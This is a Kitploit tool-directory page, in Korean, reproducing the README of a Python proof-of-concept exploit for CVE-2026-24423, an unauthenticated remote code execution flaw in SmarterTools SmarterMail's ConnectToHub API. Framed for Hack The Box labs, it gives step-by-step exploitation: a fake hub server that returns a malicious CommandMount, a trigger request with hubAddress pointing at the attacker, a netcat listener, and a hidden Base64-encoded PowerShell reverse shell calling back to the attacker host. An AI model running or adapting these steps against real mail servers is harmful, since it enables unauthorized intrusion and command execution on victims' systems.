Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SmarterMail-CVE-2026-24423 — SmarterTools SmarterMail(CVE-2026-24423, ConnectToHub)의 인증되지 않은 RCE PoC입니다. 승인된 보안 테스트, CTF 및 연구 목적으로만 사용하십시오. | Kitploit
도구/GitHubGitHub/cyberalp0/smartermail-cve-2026-24423
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubcyberalp0/smartermail-cve-2026-24423

SmarterMail-CVE-2026-24423

SmarterTools SmarterMail(CVE-2026-24423, ConnectToHub)의 인증되지 않은 RCE PoC입니다. 승인된 보안 테스트, CTF 및 연구 목적으로만 사용하십시오.

저장소 보기
3922일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SmarterMail ConnectToHub RCE — CVE-2026-24423

SmarterMail ConnectToHub RCE

SmarterTools SmarterMail의 ConnectToHub 기능에서 발생하는 인증되지 않은 원격 코드 실행 취약점인 CVE-2026-24423에 대한 Python 기반 익스플로잇입니다.

사용 목적: 승인된 보안 테스트, CTF, Hack The Box 랩, 통제된 연구 환경에서만 사용하십시오.


빠른 시작

본인이 소유하거나 테스트 권한을 명시적으로 부여받은 시스템에만 사용하십시오. SECURITY.md를 참조하십시오.

# 1. Clone
git clone https://github.com/CyberAlp0/SmarterMail-CVE-2026-24423.git
cd SmarterMail-CVE-2026-24423

# 2. (Optional) create a virtual environment — no third-party deps required
python3 -m venv .venv && source .venv/bin/activate

# 3. Configure LHOST / LPORT / HUB_PORT at the top of MalHub.py
#    (see the Configuration section below)

# 4. Start your reverse-shell listener, then run the hub
python3 MalHub.py

**Python 3.6+**가 필요합니다(표준 라이브러리만 사용). 전체 안내는 아래 사용법 섹션을 참조하십시오.


목차

  • 개요
  • CVE 세부 정보
  • 영향받는 버전
  • 취약점 설명
  • 기술 세부 정보
  • 익스플로잇 흐름
  • 요구 사항
  • 설정
  • 사용법
  • 예상 출력
  • 문제 해결
  • 스크린샷
  • 프로젝트 구조
  • 완화 방안
  • 참고 자료
  • 면책 조항

개요

CVE-2026-24423은 SmarterTools SmarterMail에 영향을 미치는 인증되지 않은 원격 코드 실행 취약점입니다.

이 취약점은 ConnectToHub 기능에 존재합니다. 인증되지 않은 공격자가 악의적인 hubAddress를 제공하면 SmarterMail 서버가 공격자가 제어하는 서버로 HTTP 요청을 보내게 됩니다.

악의적인 서버는 공격자가 제어하는 SystemMount.CommandMount 값을 포함한 조작된 setup-initial-connection 응답을 반환합니다.

취약한 SmarterMail 인스턴스는 이후 이 값을 운영체제 명령으로 처리하여 SmarterMail 서비스의 보안 컨텍스트에서 임의 명령 실행을 허용합니다.

이 취약점에는 **CVSS 4.0 점수 9.3(Critical)**이 부여되었으며 CWE-306: 중요 기능에 대한 인증 누락으로 분류됩니다.


CVE 세부 정보

필드값
CVECVE-2026-24423
공급업체SmarterTools
제품SmarterMail
취약점인증되지 않은 원격 코드 실행
CWECWE-306
CVSS v4.09.3 Critical
CVSS v3.19.8 Critical
공격 벡터네트워크
인증없음
사용자 상호작용없음
복잡도낮음
공개일2026년 1월 23일
수정 빌드9511

공식 CVE 레코드는 이 문제를 ConnectToHub API 메서드를 통한 인증되지 않은 RCE로 설명합니다.


영향받는 버전

SmarterMail Build 9511 이전 버전이 영향을 받습니다.

CVE 레코드는 영향받는 범위를 다음과 같이 명시합니다:

SmarterMail < 100.0.9511

2026년 1월 15일에 릴리스된 Build 9511에 공급업체의 수정 사항이 포함되어 있습니다.

취약

< 100.0.9511

수정됨

>= 100.0.9511

취약점을 재현하기 전에 항상 설치된 정확한 빌드를 확인하십시오.


취약점 설명

취약한 기능은 SmarterMail 시스템 관리 API를 통해 노출됩니다.

관련 작업은 다음과 같습니다:

/api/v1/settings/sysadmin/connect-to-hub

이 엔드포인트는 hubAddress 매개변수를 받습니다.

개념적으로 공격자는 다음을 제공할 수 있습니다:

{
    "hubAddress": "http://ATTACKER_IP:8081",
    "oneTimePassword": "temporary-value",
    "nodeName": "DC"
}

그러면 SmarterMail은 제공된 허브 주소에 연결하여 다음을 요청합니다:

/web/api/node-management/setup-initial-connection

공격자가 제어하는 서버는 악의적인 SystemMount 객체를 포함한 JSON으로 응답합니다.

중요한 속성은 다음과 같습니다:

"SystemMount": {
    "Enabled": true,
    "ReadOnly": false,
    "MountPath": "...",
    "CommandMount": "..."
}

CommandMount 값은 이후 취약한 애플리케이션에 의해 운영체제 명령으로 사용됩니다.

이를 통해 공격자는 다음과 같은 전환을 수행할 수 있습니다:

인증되지 않은 HTTP 요청

에서:

원격 명령 실행

으로 전환할 수 있습니다.

VulnCheck의 기술 분석은 공격자가 제어하는 hubAddress가 SmarterMail로 하여금 공격자의 setup-initial-connection 엔드포인트를 요청하게 하고, 반환된 CommandMount가 임의 명령 실행을 제공할 수 있음을 확인합니다.


기술 세부 정보

익스플로잇은 두 가지 구성 요소로 이루어집니다:

1. 가짜 SmarterMail 허브

Python 서버는 다음을 수신 대기합니다:

POST /web/api/node-management/setup-initial-connection

그리고 악의적인 SystemMount.CommandMount를 포함한 조작된 JSON 응답을 반환합니다.

2. 리버스 셸 리스너

별도의 TCP 리스너가 대상에서 실행된 명령에 의해 시작된 연결을 수신합니다.

이 익스플로잇은 의도적으로 두 개의 별도 포트를 사용합니다.

8081
└── 가짜 SmarterMail 허브

4455
└── 리버스 셸 리스너

익스플로잇 흐름

flowchart LR

    A[Attacker<br/>10.10.14.50]

    H[Fake SmarterMail Hub<br/>TCP/8081]

    T[SmarterMail Target<br/>10.129.57.86]

    C[CommandMount<br/>Command Execution]

    P[PowerShell]

    L[Reverse Shell Listener<br/>TCP/4455]

    A -->|Trigger ConnectToHub| T
    T -->|HTTP POST| H
    H -->|Malicious JSON| T
    T -->|CommandMount| C
    C --> P
    P -->|Reverse TCP| L
    L --> A

연결 1 — 가짜 허브

Target
   |
   | HTTP
   v
10.10.14.50:8081

연결 2 — 리버스 셸

Target
   |
   | TCP
   v
10.10.14.50:4455

이 포트들은 서로 다른 목적을 가지며 혼동해서는 안 됩니다.


요구 사항

  • Python 3
  • Linux 공격자 머신
  • Hack The Box VPN 또는 이에 상응하는 승인된 네트워크
  • 대상에서 공격자로의 네트워크 연결
  • Netcat
  • 취약한 SmarterMail 설치

익스플로잇은 Python 표준 라이브러리 모듈만 사용합니다:

http.server
json
base64

외부 Python 패키지는 필요하지 않습니다.


설정

다음 변수를 편집하십시오:

LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081

예시 HTB 환경의 경우:

LHOST     = 10.10.14.50
LPORT     = 4455
HUB_PORT  = 8081

LHOST

LHOST는 대상이 접근할 수 있는 공격자의 IP 주소입니다.

Hack The Box의 경우 일반적으로 HTB VPN 인터페이스에 할당된 IP입니다:

ip addr show tun0

예시:

tun0:
    inet 10.10.14.50

따라서:

LHOST = "10.10.14.50"

LPORT

LPORT는 공격자가 리버스 연결을 수신하는 데 사용하는 TCP 포트입니다.

예시:

LPORT = 4455

HUB_PORT

HUB_PORT는 악의적인 SmarterMail 허브가 사용하는 HTTP 포트입니다.

예시:

HUB_PORT = 8081

사용법

1. 저장소 복제

git clone https://github.com/<username>/<repository>.git
cd <repository>

2. 익스플로잇 설정

편집:

nano exploit.py

설정:

LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081

3. 리버스 셸 리스너 시작

터미널을 엽니다:

nc -lvnp 4455

예상:

Listening on 0.0.0.0 4455

이 터미널을 열어 두십시오.


4. 악의적인 허브 시작

두 번째 터미널을 엽니다:

python3 exploit.py

선택한 포트에 바인딩하는 데 상승된 권한이 필요한 경우:

sudo python3 exploit.py

예상 출력:

============================================================
 SmarterMail fake hub
============================================================
[+] LHOST:      10.10.14.50
[+] LPORT:      4455
[+] HUB:        10.10.14.50:8081

[+] Waiting for SmarterMail...
============================================================

5. ConnectToHub 트리거

취약한 SmarterMail 인스턴스에 적절한 요청을 보냅니다.

제공된 hubAddress는 악의적인 HTTP 서버를 가리켜야 합니다:

{
    "hubAddress": "http://10.10.14.50:8081",
    "oneTimePassword": "tempst",
    "nodeName": "DC"
}

중요한 값은 다음과 같습니다:

http://10.10.14.50:8081

리버스 셸 포트를 허브 포트로 사용하지 마십시오.


포트 구성 요약

목적IP포트
공격자 VPN10.10.14.50—
가짜 SmarterMail 허브10.10.14.508081
리버스 셸10.10.14.504455
HTB 대상10.129.57.86—

결과적인 흐름은 다음과 같습니다:

hubAddress
    ↓
10.10.14.50:8081
    ↓
Malicious CommandMount
    ↓
PowerShell
    ↓
10.10.14.50:4455

페이로드 인코딩

익스플로잇은 PowerShell 페이로드를 동적으로 생성합니다.

PowerShell의 -EncodedCommand 매개변수는 명령이 Base64 인코딩 전에 UTF-16LE로 인코딩될 것을 요구합니다.

스크립트는 다음을 수행합니다:

encoded = base64.b64encode(
    PS.encode("utf-16le")
).decode()

최종 명령은 다음과 같이 구성됩니다:

powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>
도구 다운로드